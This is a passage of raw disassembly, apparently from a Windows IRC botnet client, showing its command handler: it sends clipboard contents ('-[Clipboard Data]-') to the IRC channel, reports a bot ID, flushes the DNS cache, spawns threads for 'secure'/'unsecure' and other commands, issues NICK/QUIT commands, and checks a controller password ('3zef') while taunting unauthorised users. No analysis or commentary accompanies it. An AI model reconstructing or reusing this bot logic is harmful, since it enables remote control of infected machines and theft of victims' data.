		mov	ecx, [ebp+var_AEC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_41426B
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_434DE8

loc_414236:				; CODE XREF: sub_40EC43+35CEj
					; sub_40EC43+36C7j ...
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_416FB6
		add	esp, 0Ch

loc_414245:				; CODE XREF: sub_40EC43+35E3j
					; sub_40EC43+36DCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40F594
		push	ebx
		push	edi

loc_414250:				; CODE XREF: sub_40EC43+3A16j
		lea	eax, [ebp+var_2EC]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_4119AB
; ---------------------------------------------------------------------------

loc_414263:				; CODE XREF: sub_40EC43+562Ej
		push	32h
		call	dword_423064	; Sleep

loc_41426B:				; CODE XREF: sub_40EC43+55E5j
		cmp	[ebp+var_AD8], ebx
		jz	short loc_414263
		jmp	short loc_414245
; ---------------------------------------------------------------------------

loc_414275:				; CODE XREF: sub_40EC43+17E9j
					; sub_40EC43+17FEj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414288
		push	esi
		call	sub_41751F
		jmp	short loc_41428F
; ---------------------------------------------------------------------------

loc_414288:				; CODE XREF: sub_40EC43+563Bj
		push	8
		call	sub_416CDB

loc_41428F:				; CODE XREF: sub_40EC43+5643j
		cmp	eax, ebx
		pop	ecx
		jz	loc_414CDE
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40702C
		jmp	loc_414760
; ---------------------------------------------------------------------------

loc_4142AF:				; CODE XREF: sub_40EC43+17BFj
					; sub_40EC43+17D4j
		mov	eax, dword_43EA4C
		cmp	eax, ebx
		jz	short loc_4142D2
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		lea	eax, [ebp+var_2EC]
		jz	short loc_4142CB
		push	offset unk_434DB4
		jmp	short loc_4142F3
; ---------------------------------------------------------------------------

loc_4142CB:				; CODE XREF: sub_40EC43+567Fj
		push	offset unk_434D78
		jmp	short loc_4142F3
; ---------------------------------------------------------------------------

loc_4142D2:				; CODE XREF: sub_40EC43+5673j
		push	offset unk_434D3C
		lea	eax, [ebp+var_2EC]
		jmp	short loc_4142F3
; ---------------------------------------------------------------------------

loc_4142DF:				; CODE XREF: sub_40EC43+1795j
					; sub_40EC43+17AAj
		call	sub_40AC30
		test	eax, eax
		lea	eax, [ebp+var_2EC]
		jz	short loc_414303
		push	offset unk_434D08

loc_4142F3:				; CODE XREF: sub_40EC43+5686j
					; sub_40EC43+568Dj ...
		push	200h
		push	eax
		call	sub_41752A
		jmp	loc_4115BB
; ---------------------------------------------------------------------------

loc_414303:				; CODE XREF: sub_40EC43+56A9j
		push	offset unk_434CCC
		jmp	short loc_4142F3
; ---------------------------------------------------------------------------

loc_41430A:				; CODE XREF: sub_40EC43+176Bj
					; sub_40EC43+1780j
		cmp	[ebp+var_8], ebx
		jnz	short loc_414329
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		add	esp, 14h

loc_414329:				; CODE XREF: sub_40EC43+56CAj
		push	ebx
		push	[ebp+var_4]
		call	sub_40A8ED
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		push	offset dword_434C8C
		jmp	loc_41462D
; ---------------------------------------------------------------------------

loc_41434B:				; CODE XREF: sub_40EC43+1691j
					; sub_40EC43+16A6j
		push	7
		call	sub_416CBC
		test	eax, eax
		pop	ecx
		jle	short loc_41435E
		push	offset dword_434C54
		jmp	short loc_41437F
; ---------------------------------------------------------------------------

loc_41435E:				; CODE XREF: sub_40EC43+5712j
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B398
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41437A
		push	offset dword_434C1C
		jmp	short loc_41437F
; ---------------------------------------------------------------------------

loc_41437A:				; CODE XREF: sub_40EC43+572Ej
		push	offset dword_434BEC

loc_41437F:				; CODE XREF: sub_40EC43+4D73j
					; sub_40EC43+5719j ...
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx
		jmp	loc_41166A
; ---------------------------------------------------------------------------

loc_414392:				; CODE XREF: sub_40EC43+1667j
					; sub_40EC43+167Cj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40A2E5
		jmp	loc_41464E
; ---------------------------------------------------------------------------

loc_4143AB:				; CODE XREF: sub_40EC43+163Dj
					; sub_40EC43+1652j
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D11F
		jmp	loc_41464E
; ---------------------------------------------------------------------------

loc_4143C8:				; CODE XREF: sub_40EC43+1613j
					; sub_40EC43+1628j
		or	edi, 0FFFFFFFFh
		call	dword_423058	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_4143F1
		push	esi
		call	sub_41751F
		pop	ecx
		mov	edi, eax

loc_4143F1:				; CODE XREF: sub_40EC43+57A3j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_41440A
		cmp	edi, 0FFFFFFFFh
		jnz	loc_414CDE

loc_41440A:				; CODE XREF: sub_40EC43+57BCj
		push	ebx
		call	sub_40B54D
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset dword_434BC4
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_40BD8D

loc_414447:				; CODE XREF: sub_40EC43+341Cj
		add	esp, 28h
		jmp	loc_414CDE
; ---------------------------------------------------------------------------

loc_41444F:				; CODE XREF: sub_40EC43+15E9j
					; sub_40EC43+15FEj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_408A63
		lea	eax, [ebp+var_2EC]
		push	offset unk_434B94
		push	eax
		call	sub_416FB6

loc_414471:				; CODE XREF: sub_40EC43+3C39j
		add	esp, 14h
		jmp	loc_41198E
; ---------------------------------------------------------------------------

loc_414479:				; CODE XREF: sub_40EC43+15BFj
					; sub_40EC43+15D4j
		push	1Fh
		call	sub_416CBC
		test	eax, eax
		pop	ecx
		jle	short loc_4144AD
		cmp	[ebp+var_8], ebx
		jnz	loc_40F098
		push	ebx
		push	[ebp+var_4]
		push	offset unk_434B60
		push	[ebp+var_8C]

loc_41449D:				; CODE XREF: sub_40EC43+8D9j
		push	[ebp+arg_4]
		call	sub_40D476
		add	esp, 14h
		jmp	loc_40F098
; ---------------------------------------------------------------------------

loc_4144AD:				; CODE XREF: sub_40EC43+5840j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_380]
		push	80h
		push	eax
		call	sub_41752A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_384], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F8], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_2F4], eax
		mov	[ebp+var_2FC], ebx
		jz	short loc_41450E
		push	esi
		push	offset aFull	; "full"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41450E
		mov	[ebp+var_2FC], 1

loc_41450E:				; CODE XREF: sub_40EC43+58AEj
					; sub_40EC43+58BFj
		lea	eax, [ebp+var_2EC]
		push	offset dword_434B28
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	1Fh
		push	eax
		call	sub_416A7A
		add	esp, 14h
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_384]
		push	ebx
		push	eax
		push	offset sub_4150C3
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_300]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_41458E
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset unk_434AD8
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		jmp	loc_41168B
; ---------------------------------------------------------------------------

loc_414586:				; CODE XREF: sub_40EC43+5951j
		push	32h
		call	dword_423064	; Sleep

loc_41458E:				; CODE XREF: sub_40EC43+5921j
		cmp	[ebp+var_2F0], ebx
		jz	short loc_414586
		jmp	loc_41168B
; ---------------------------------------------------------------------------

loc_41459B:				; CODE XREF: sub_40EC43+1595j
					; sub_40EC43+15AAj
		cmp	[ebp+var_8], ebx
		jnz	short loc_4145BA
		push	ebx
		push	[ebp+var_4]
		push	offset dword_434AB0
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		add	esp, 14h

loc_4145BA:				; CODE XREF: sub_40EC43+595Bj
		push	[ebp+arg_4]
		call	dword_43EBBC	; closesocket
		call	dword_43EA84	; WSACleanup
		call	sub_40AA70
		push	ebx
		call	dword_42314C	; ExitProcess

loc_4145D5:				; CODE XREF: sub_40EC43+156Bj
					; sub_40EC43+1580j
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_40B6ED
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		push	offset dword_434A88
		jmp	short loc_41462D
; ---------------------------------------------------------------------------

loc_414600:				; CODE XREF: sub_40EC43+1432j
					; sub_40EC43+1447j
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40B9A1
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		push	offset dword_434A60

loc_41462D:				; CODE XREF: sub_40EC43+5703j
					; sub_40EC43+59BBj
		call	sub_40BD8D

loc_414632:				; CODE XREF: sub_40EC43+41D4j
		add	esp, 18h
		jmp	loc_414CDE
; ---------------------------------------------------------------------------

loc_41463A:				; CODE XREF: sub_40EC43+1408j
					; sub_40EC43+141Dj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BE2D

loc_41464E:				; CODE XREF: sub_40EC43+3A9j
					; sub_40EC43+5763j ...
		add	esp, 10h
		jmp	loc_40F098
; ---------------------------------------------------------------------------

loc_414656:				; CODE XREF: sub_40EC43+13DEj
					; sub_40EC43+13F3j
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_A50], bl
		jz	short loc_414695
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414695
		push	esi
		push	[ebp+var_C]
		call	sub_417580
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_414695
		push	eax
		push	offset aS_3	; "%s"
		lea	eax, [ebp+var_A50]
		push	80h
		push	eax
		call	sub_41752A
		add	esp, 10h

loc_414695:				; CODE XREF: sub_40EC43+5A1Cj
					; sub_40EC43+5A27j ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_AD0]
		push	80h
		push	eax
		call	sub_41752A
		mov	eax, [ebp+arg_4]
		push	offset dword_434A38
		mov	[ebp+var_AD4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_9CC], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_9C8], eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	1Dh
		push	eax
		call	sub_416A7A
		add	esp, 20h
		mov	[ebp+var_9D0], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_AD4]
		push	ebx
		push	eax
		push	offset sub_40BEA0
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_9D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_414738
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4349F0
		jmp	loc_414E59
; ---------------------------------------------------------------------------

loc_414730:				; CODE XREF: sub_40EC43+5AFBj
		push	32h
		call	dword_423064	; Sleep

loc_414738:				; CODE XREF: sub_40EC43+5ADAj
		cmp	[ebp+var_9C4], ebx
		jz	short loc_414730
		jmp	loc_40F098
; ---------------------------------------------------------------------------

loc_414745:				; CODE XREF: sub_40EC43+13B4j
					; sub_40EC43+13C9j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BD15
		push	offset dword_4349C8
		call	sub_40BD8D

loc_414760:				; CODE XREF: sub_40EC43+5667j
		add	esp, 10h
		jmp	loc_414CDE
; ---------------------------------------------------------------------------

loc_414768:				; CODE XREF: sub_40EC43+138Aj
					; sub_40EC43+139Fj
		push	[ebp+var_8C]
		lea	eax, [ebp+var_418]
		push	80h
		push	eax
		call	sub_41752A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_41C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_390], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_38C], eax
		jz	short loc_4147C2
		push	offset dword_4349C4
		push	esi
		call	sub_4173D0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_394], eax
		jmp	short loc_4147C8
; ---------------------------------------------------------------------------

loc_4147C2:				; CODE XREF: sub_40EC43+5B63j
		mov	[ebp+var_394], ebx

loc_4147C8:				; CODE XREF: sub_40EC43+5B7Dj
		lea	eax, [ebp+var_2EC]
		push	offset dword_434998
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	20h
		push	eax
		call	sub_416A7A
		add	esp, 14h
		mov	[ebp+var_398], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_416AE5
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_398]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_414839
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_434950
		jmp	loc_4135F3
; ---------------------------------------------------------------------------

loc_414831:				; CODE XREF: sub_40EC43+5BFCj
		push	32h
		call	dword_423064	; Sleep

loc_414839:				; CODE XREF: sub_40EC43+5BDBj
		cmp	[ebp+var_388], ebx
		jz	short loc_414831
		jmp	loc_4115DF
; ---------------------------------------------------------------------------

loc_414846:				; CODE XREF: sub_40EC43+130Ej
					; sub_40EC43+1323j
		push	offset aBotid	; "botid"
		lea	eax, [ebp+var_2EC]
		push	offset dword_434924
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		add	esp, 20h
		jmp	loc_4115DF
; ---------------------------------------------------------------------------

loc_41487D:				; CODE XREF: sub_40EC43+12E4j
					; sub_40EC43+12F9j
		push	dword_4890F8
		call	sub_40B54D
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset dword_4348E8
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		add	esp, 24h
		jmp	loc_4115DF
; ---------------------------------------------------------------------------

loc_4148BB:				; CODE XREF: sub_40EC43+12BAj
					; sub_40EC43+12CFj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_4148ED
		cmp	[ebp+var_C], ebx
		jz	short loc_4148FC
		push	esi
		push	[ebp+var_C]
		call	sub_417580
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4148FC
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D430
		add	esp, 0Ch
		jmp	short loc_4148FC
; ---------------------------------------------------------------------------

loc_4148ED:				; CODE XREF: sub_40EC43+5C81j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_40D430
		pop	ecx
		pop	ecx

loc_4148FC:				; CODE XREF: sub_40EC43+5C86j
					; sub_40EC43+5C95j ...
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_40F09B
; ---------------------------------------------------------------------------

loc_414904:				; CODE XREF: sub_40EC43+1290j
					; sub_40EC43+12A5j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D430
		push	offset dword_434898
		call	sub_40BD8D
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40F09B
; ---------------------------------------------------------------------------

loc_414926:				; CODE XREF: sub_40EC43+1266j
					; sub_40EC43+127Bj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D430
		push	offset dword_434858
		call	sub_40BD8D
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40F09B
; ---------------------------------------------------------------------------

loc_414947:				; CODE XREF: sub_40EC43+123Cj
					; sub_40EC43+1251j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_406F62

loc_414958:				; CODE XREF: sub_40EC43+4140j
		add	esp, 0Ch
		jmp	loc_414CDE
; ---------------------------------------------------------------------------

loc_414960:				; CODE XREF: sub_40EC43+1197j
					; sub_40EC43+11ACj
		push	[ebp+esi+var_90]
		push	1Fh
		push	offset dword_434848
		push	offset dword_43483C
		jmp	short loc_414988
; ---------------------------------------------------------------------------

loc_414975:				; CODE XREF: sub_40EC43+116Dj
					; sub_40EC43+1182j
		push	[ebp+esi+var_90]
		push	1Ch
		push	offset dword_434830
		push	offset dword_434820

loc_414988:				; CODE XREF: sub_40EC43+FE8j
					; sub_40EC43+1011j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_416D02
		add	esp, 20h
		jmp	loc_40F098
; ---------------------------------------------------------------------------

loc_4149A4:				; CODE XREF: sub_40EC43+FA9j
					; sub_40EC43+FBEj
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_4149C3
		push	edi
		call	sub_41751F
		test	eax, eax
		pop	ecx
		jz	short loc_4149C3
		push	edi
		call	sub_41751F
		pop	ecx
		jmp	short loc_4149C8
; ---------------------------------------------------------------------------

loc_4149C3:				; CODE XREF: sub_40EC43+5D6Aj
					; sub_40EC43+5D75j
		mov	eax, dword_42E900

loc_4149C8:				; CODE XREF: sub_40EC43+5D7Ej
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_3A0], eax
		cmp	esi, ebx
		jz	short loc_4149ED
		push	esi

loc_4149DA:				; CODE XREF: sub_40EC43+5DB9j
		lea	eax, [ebp+var_3B0]
		push	10h
		push	eax
		call	sub_41752A
		add	esp, 0Ch
		jmp	short loc_414A04
; ---------------------------------------------------------------------------

loc_4149ED:				; CODE XREF: sub_40EC43+5D94j
		cmp	[ebp+var_95F], bl
		jz	short loc_4149FE
		lea	eax, [ebp+var_D4]
		push	eax
		jmp	short loc_4149DA
; ---------------------------------------------------------------------------

loc_4149FE:				; CODE XREF: sub_40EC43+5DB0j
		mov	[ebp+var_3B0], bl

loc_414A04:				; CODE XREF: sub_40EC43+5DA8j
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_394], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_390], eax
		lea	eax, [ebp+var_430]
		push	eax
		mov	[ebp+var_434], esi
		call	sub_41752A
		add	esp, 0Ch
		push	[ebp+var_3A0]
		push	esi
		call	sub_40AD08
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset unk_42A8CC
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	11h
		push	eax
		call	sub_416A7A
		add	esp, 1Ch
		mov	[ebp+var_39C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_434]
		push	ebx
		push	eax
		push	offset sub_407E2F
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_39C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_414AB8
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4347D8
		jmp	loc_414E59
; ---------------------------------------------------------------------------

loc_414AB0:				; CODE XREF: sub_40EC43+5E7Bj
		push	32h
		call	dword_423064	; Sleep

loc_414AB8:				; CODE XREF: sub_40EC43+5E5Aj
		cmp	[ebp+var_38C], ebx
		jz	short loc_414AB0
		jmp	loc_40F098
; ---------------------------------------------------------------------------

loc_414AC5:				; CODE XREF: sub_40EC43+F55j
					; sub_40EC43+F6Aj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414AED
		push	edi
		push	offset aSec	; "sec"
		call	sub_4173D0
		pop	ecx
		mov	[ebp+var_2FC], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_414AF7

loc_414AED:				; CODE XREF: sub_40EC43+5E91j
		mov	[ebp+var_2FC], 1

loc_414AF7:				; CODE XREF: sub_40EC43+5EA8j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_380]
		push	80h
		push	eax
		call	sub_41752A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_2FC], ebx
		mov	[ebp+var_384], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2F4], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_414B3E
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_414B3E:				; CODE XREF: sub_40EC43+5EF4j
		push	eax
		push	offset dword_43478C
		lea	eax, [ebp+var_2EC]
		push	200h
		push	eax
		call	sub_41752A
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	1Ah
		push	eax
		call	sub_416A7A
		add	esp, 1Ch
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_384]
		push	ebx
		push	eax
		push	offset sub_415C62
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_300]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_414BB5
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434740
		jmp	loc_412988
; ---------------------------------------------------------------------------

loc_414BAD:				; CODE XREF: sub_40EC43+5F78j
		push	32h
		call	dword_423064	; Sleep

loc_414BB5:				; CODE XREF: sub_40EC43+5F57j
		cmp	[ebp+var_2F0], ebx
		jz	short loc_414BAD
		jmp	loc_40F594
; ---------------------------------------------------------------------------

loc_414BC2:				; CODE XREF: sub_40EC43+F2Bj
					; sub_40EC43+F40j
		push	offset aTarabTool ; "Tarab tool"
		push	offset dword_434720
		jmp	loc_4115AF
; ---------------------------------------------------------------------------

loc_414BD1:				; CODE XREF: sub_40EC43+F01j
					; sub_40EC43+F16j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414C2D
		push	esi
		call	sub_41751F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_414C22
		cmp	eax, 2
		jge	short loc_414C22
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		lea	esi, [ecx+edx]
		cmp	[esi], bl
		jz	short loc_414C17
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset dword_4346F0
		push	eax
		call	sub_416FB6
		mov	[esi], bl
		jmp	loc_410B74
; ---------------------------------------------------------------------------

loc_414C17:				; CODE XREF: sub_40EC43+5FB6j
		push	eax
		push	offset dword_4346B4
		jmp	loc_410B68
; ---------------------------------------------------------------------------

loc_414C22:				; CODE XREF: sub_40EC43+5FA2j
					; sub_40EC43+5FA7j
		push	eax
		push	offset dword_434678
		jmp	loc_410B68
; ---------------------------------------------------------------------------

loc_414C2D:				; CODE XREF: sub_40EC43+5F97j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_414C32:				; CODE XREF: sub_40EC43+600Bj
		push	[ebp+var_94]
		push	edi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414C55
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_414C32
		jmp	loc_41198E
; ---------------------------------------------------------------------------

loc_414C55:				; CODE XREF: sub_40EC43+5FFFj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D4]
		push	eax
		push	offset dword_4346F0
		jmp	loc_410B68
; ---------------------------------------------------------------------------

loc_414C6F:				; CODE XREF: sub_40EC43+ED7j
					; sub_40EC43+EECj
		push	[ebp+var_90]
		push	offset dword_437B40
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414CDE
		call	sub_416C3D
		push	ebx
		call	dword_42314C	; ExitProcess

loc_414C91:				; CODE XREF: sub_40EC43+EADj
					; sub_40EC43+EC2j
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_950], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_450]
		push	dword_42E924
		push	eax
		call	sub_415A3A
		lea	eax, [ebp+var_450]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D430
		lea	eax, [ebp+var_450]
		push	eax
		push	offset dword_434644
		call	sub_40BE01

loc_414CDB:				; CODE XREF: sub_40EC43+2BAEj
		add	esp, 24h

loc_414CDE:				; CODE XREF: sub_40EC43+61Dj
					; sub_40EC43+629j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40F09B
; ---------------------------------------------------------------------------

loc_414CE6:				; CODE XREF: sub_40EC43+ABCj
					; sub_40EC43+ACFj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], esi
		jz	loc_40F098
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F098
		push	offset asc_437C4C ; "!"
		push	[ebp+var_94]
		call	sub_41886E
		mov	esi, eax
		push	offset dword_43BCF8
		push	ebx
		inc	esi
		call	sub_41886E
		push	offset asc_434640 ; "~"
		push	eax
		call	sub_41886E
		push	[ebp+arg_0]
		mov	edi, eax
		push	offset a3zef	; "3zef"
		call	sub_4173D0
		add	esp, 20h
		test	eax, eax
		jz	short loc_414D8E
		lea	eax, [ebp+var_D4]
		push	edi
		push	eax
		lea	eax, [ebp+var_D4]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D430
		lea	eax, [ebp+var_D4]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D430
		push	edi
		push	esi
		push	offset dword_4345B0

loc_414D7A:				; CODE XREF: sub_40EC43+61A4j
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_416FB6
		add	esp, 30h
		jmp	loc_40F594
; ---------------------------------------------------------------------------

loc_414D8E:				; CODE XREF: sub_40EC43+60FEj
		mov	[ebp+arg_24], ebx

loc_414D91:				; CODE XREF: sub_40EC43+616Bj
		mov	eax, [ebp+arg_24]
		push	edi
		push	off_42EA04[eax]
		call	sub_416DCD
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414DE9
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], 4
		jb	short loc_414D91
		lea	eax, [ebp+var_D4]
		push	edi
		push	eax
		lea	eax, [ebp+var_D4]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D430
		lea	eax, [ebp+var_D4]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D430
		push	edi
		push	esi
		push	offset dword_434568
		jmp	short loc_414D7A
; ---------------------------------------------------------------------------

loc_414DE9:				; CODE XREF: sub_40EC43+6161j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_414DEE:				; CODE XREF: sub_40EC43+61CCj
		cmp	[edi], bl
		jnz	short loc_414E05
		push	[ebp+arg_0]
		push	offset a3zef	; "3zef"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414E16

loc_414E05:				; CODE XREF: sub_40EC43+61ADj
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_414DEE
		jmp	loc_40F098
; ---------------------------------------------------------------------------

loc_414E16:				; CODE XREF: sub_40EC43+61C0j
